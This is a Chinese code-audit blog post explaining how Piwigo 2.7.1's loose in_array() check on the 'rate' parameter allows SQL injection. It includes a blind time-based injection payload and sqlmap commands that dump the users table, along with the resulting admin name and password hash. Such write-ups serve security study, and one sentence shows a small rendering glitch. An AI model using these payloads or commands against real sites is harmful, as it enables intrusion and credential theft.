当前位置: 首页 > news >正文

php代码审计2 piwigo CMS in_array()函数漏洞

php代码审计2 piwigo CMS in_array()函数漏洞

一、目的

本次学习目的是了解in_array()函数和对项目piwigo中关于in_array()函数存在漏洞的一个审计并利用漏洞获得管理员帐号。

二、in_array函数学习

in_array() 函数搜索数组中是否存在指定的值。

in_array($search,$array,type)  return bool

其中第一个参数$search为待搜索的值,$array为被搜索的数组,第三个参数决定是否进行类型比较。

第三个类型默认为false,即不考虑类型是否相同。

$b = array(1,2,3,4);
//$c=1;
$c='1dsfa';
if(in_array($c,$b)){echo '<br>c在b中';
}else{echo '<br>c不在b中';
}
//c在b中

关键在于该函数第三个参数,如果为false或者不设置,那么它就不会比较类型,会自己将字符串转换数字,会构成漏洞。

三、 CMS piwigo审计实战

这里复盘红日安全对piwigo的代码审计

Piwigo 是一个开源的网络相册管理软件,专为组织、团队和个人设计。自2002年诞生以来,Piwigo 已经支持了超过22年的用户,并且一直在不断进化。Piwigo 的特点包括高容量照片分类、可持续性、开源性以及丰富的插件和主题支持。它可以帮助用户轻松地管理、组织和分享他们的照片。

本次实例分析,我们选取的是 piwigo2.7.1 版本。该版本由于SQL语句直接拼接 r a t e ∗ ∗ 变量,而 ∗ ∗ rate** 变量,而 ** rate变量,而rate 变量也仅是用 in_array() 函数简单处理,并未使用第三个参数进行严格匹配,最终导致sql注入漏洞发生。

3.1 安装piwigo

这里是使用phpstudy搭建环境,php版本是5.3.29,mysql版本是5.5.29

注意:如果是php版本是7以上会报错

安装piwigo,下载地址:https://download.csdn.net/download/m0_53073183/90308961

安装步骤:

  1. 将下载后的piwigo文件夹放到www文件夹下
  2. 创建一个数据库piwigo,用户名为piwigo,密码123456
  3. 访问localhost/piwigo,会自动跳转到安装页面,按照步骤提示输入信息,安装完成!

3.2 漏洞分析

下面我们来看看具体的漏洞位置。漏洞的入口文件在根目录下的picture.php 中,具体代码如下:

//picture.php
if (isset($_GET['action']))
{switch ($_GET['action']){case 'add_to_favorites' :{$query = '
INSERT INTO '.FAVORITES_TABLE.'(image_id,user_id)VALUES('.$page['image_id'].','.$user['id'].')
;';pwg_query($query);redirect($url_self);break;......中间省略.......case 'rate' :{include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');rate_picture($page['image_id'], $_POST['rate']);redirect($url_self);}

$_GET[‘action’]rate 的时候,这里直接使用post方式传递rate参数,并调用文件 include/functions_rate.inc.php 中的 rate_picture 方法,我们跳转到functions_rate.inc.php,查看rate_picture 方法,发现其使用 in_array() 函数对 $rate 变量进行检测,判断 $rate 是否在 $conf[‘rate_items’] 中,**$conf[‘rate_items’]**的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);

//config_default.inc.php........// rate_items: available rates for a picture
$conf['rate_items'] = array(0,1,2,3,4,5);
//functions_rate.inc.php......function rate_picture($image_id, $rate)
{global $conf, $user;if (!isset($rate)or !$conf['rate']or !in_array($rate, $conf['rate_items'])){return false;}。。。中间省略$query = '    //下面sql语句中的RATE_TABLE,为数据库中的piwigo_rate表
INSERTINTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date)VALUES('.$user['id'].','.'\''.$anonymous_id.'\','.$image_id.','.$rate.',NOW())
;';pwg_query($query);

而漏洞便存在这个方法中,由于该方法中并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

这样就可以进行盲注了,如果上面的代码你看的比较乱的话,可以看下面简化后的代码:

<?php$conf['rate_items'] = array(0,1,2,3,4,5);
$rate = $_POST['rate'];
function rate_picture($image_id, $rate)
{global $conf;if (!isset($rate)or !$conf['rate']or !in_array($rate, $conf['rate_items'])) {return false;}//下面sql语句中的RATE_TABLE,为数据库中的piwigo_rate表$query = 'INSERT INTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date) VALUES('.$user['id'].',' .'\''.$anonymous_id.'\',' .$image_id.',' .$rate .',NOW());';pwg_query($query);
}

3.3 漏洞利用

接下来我们直接用sqlmap进行验证,我们需要通过get方式传入action=rate,通过post方式传入rate=1(rate值可以传入0,1,2,3,4,5),我们先随便在功能页面上传两张图片

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/c03c9145a4b4478ab72d10825be88b56.jpeg#pic_center

然后打开url

http://192.168.3.8/piwigo/picture.php?/2/category/2

可以看到查看图片页面

在这里插入图片描述

使用sqlmap构造payload:

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" --dbs --batch

由于是时间盲注,需要等待一段时间,得到数据库名piwigo
在这里插入图片描述
进一步获取用户名

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D piwigo --users --batch

得到user名为piwigo
在这里插入图片描述获取所有的表,因为获取时间过长,不再展示

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D 'piwigo' --columns --batch

获取piwigo_users表中的数据

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D 'piwigo' -T 'piwigo_users' --dump --batch

得到字段为id , username,password,mail_address
得到username为piwigo,密码为密文:e10adc3949ba59abbe56e057f20f883e
密文为md5加密
在这里插入图片描述
其他内容因为获取时间过长,不再一一测试!

http://www.lryc.cn/news/526043.html

相关文章:

  • docker搭建redis集群(三主三从)
  • [Datawheel]利用Zigent框架编写智能体-1
  • 【计算机视觉】人脸识别
  • linux环境变量配置文件区别 /etc/profile和~/.bash_profile
  • mac 配置 python 环境变量
  • 终极的复杂,是简单
  • 软件开发中的密码学(国密算法)
  • 【豆包MarsCode 蛇年编程大作战】蛇形烟花
  • Jmeter使用Request URL请求接口
  • 使用Pytest Fixtures来提升TestCase的可读性、高效性
  • Arduino大师练成手册 -- 读取DHT11
  • 【Jave全栈】Java与JavaScript比较
  • 【高项】6.2 定义活动 ITTO
  • openlava/LSF 用户组管理脚本
  • 数据结构与算法之贪心: LeetCode 649. Dota2 参议院 (Ts版)
  • 西藏酥油茶:高原上的醇香温暖
  • 【模型】RNN模型详解
  • C++----STL(list)
  • 数据结构——AVL树的实现
  • 知识图谱在个性化推荐中的应用:赋能智能化未来
  • C语言自定义数据类型详解(一)——结构体类型(上)
  • 使用 Tailwind CSS + PostCSS 实现响应式和可定制化的前端设计
  • 巧用多目标识别能力,帮助应用实现智能化图片解析
  • 算法中的移动窗帘——C++滑动窗口算法详解
  • AcWing 3585:三角形的边 ← sort() 函数
  • 阿里云-银行核心系统转型之业务建模与技术建模
  • MySQL核心知识:春招面试数据库要点
  • Hive之加载csv格式数据到hive
  • Java web与Java中的Servlet
  • kafka常用目录文件解析